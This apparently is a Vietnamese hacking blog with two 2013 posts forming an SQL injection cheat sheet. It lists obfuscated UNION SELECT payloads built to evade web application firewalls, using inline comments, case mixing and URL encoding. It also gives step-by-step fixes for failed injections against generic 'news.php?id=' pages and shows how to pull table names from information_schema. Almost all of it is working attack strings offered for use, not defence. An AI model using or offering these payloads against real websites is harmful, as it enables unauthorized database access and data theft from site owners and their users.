Chủ Nhật, 27 tháng 10, 2013

Bypass Sql Injection

Union Select Bypassing::
union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0)) 
/*!50000union*/+/*!50000select*/ 
UNIunionON+SELselectECT 
+union+distinct+select+ 
+union+distinctROW+select+ 
union+/*!select*/+1,2,3 
union/**/select/**/1,2,3 
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
after id no. like id=1 +/*!and*/+1=0
+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)
False The Url::
=-id=-1 union all select
id=null union all select
id=1+and+false+union+all+select
id=9999 union all select
Order Bypassing do like this

/*!table_name*/
+from /*!information_schema*/./*!tables*/ where table_schema=database()
unhex(hex(Concat(Column_Name,0x3e ,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%2011 5,%2037)
used with order::
convert()using ascii)
unhex(hex())


Thứ Bảy, 5 tháng 10, 2013

[UPDATE] Một số vấn đề và hướng giải quyết

ORDER BY
- Khi order by ko hoạt động

Code:
site.com/news.php?id=9 order by 10000000000-- [No Error]
Cách giải quyết: Thêm ' vào sau tham số ID và thêm + vào cuối link

Code:
site.com/news.php?id=9' order by 10000000--+[Error]

UNION SELECT

- Khi ko thấy số column bị lỗi hiện ra

Code:
site.com/news.php?id=9 union select 1,2,3,4,5--
Cách giải quyết: Thay tham số bằng null

Code:
ite.com/news.php?id=null union select 1,2,3,4,5--
-Khi xuất hiện lỗi "The used SELECT statements have a different number of columns"
Cách giải quyết: thêm vào sau tham số id

Code:
ite.com/news.php?id=18+and+1=0+union select+1,2,3,4,5

Gặp lỗi khi extract tables
- Ko lấy đc table

Code:
site.com/news.php?id=9 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--
Cách giải quyết: Thêm unhex(hex( trước group_concat

Code:
site.com/news.php?id=9 union select 1,2,unhex(hex(group_concat(table_name))),4,5 from information_schema.tables where table_schema=database()--
RaZoR Updated:

Bypass 406 - Not Acceptable

Như nhokpro888 hỏi, vì sao ngta ghi /*! Union */ thay vì ghi bình thường.
Nếu RZ ko lầm, /* .....*/ có nghĩa là mark as comment ( đánh chú thích ), ! có nghĩa là phủ định.
Phủ định của chú thích sẽ là query bình thường

Bypass WAF/Web application firewall

Khi vào đc đến đây:

Code:
http://www.site.com/index.php?id=-1 union select 1,2,3,4,5--
Gặp lỗi sau:

Code:
"404 forbidden you do not have permission to access to this webpage"
hoặc Not acceptable j đó

Hướng giải quyết:

Code:
http://www.site.com/index.php?id=-1+%2F%2A%21UNION%2A%2F+%2F%2A%21SELECT%2A%2F1%2C2%2C3%2C4%2C5--

Hiện tại SF chỉ viết đc đến đây, sẽ hoàn thiện dần dần các vấn đề về SQLi tại đây.
Có sai sót hay thiếu j thì RaZor sẽ bổ sung ở đây nhé...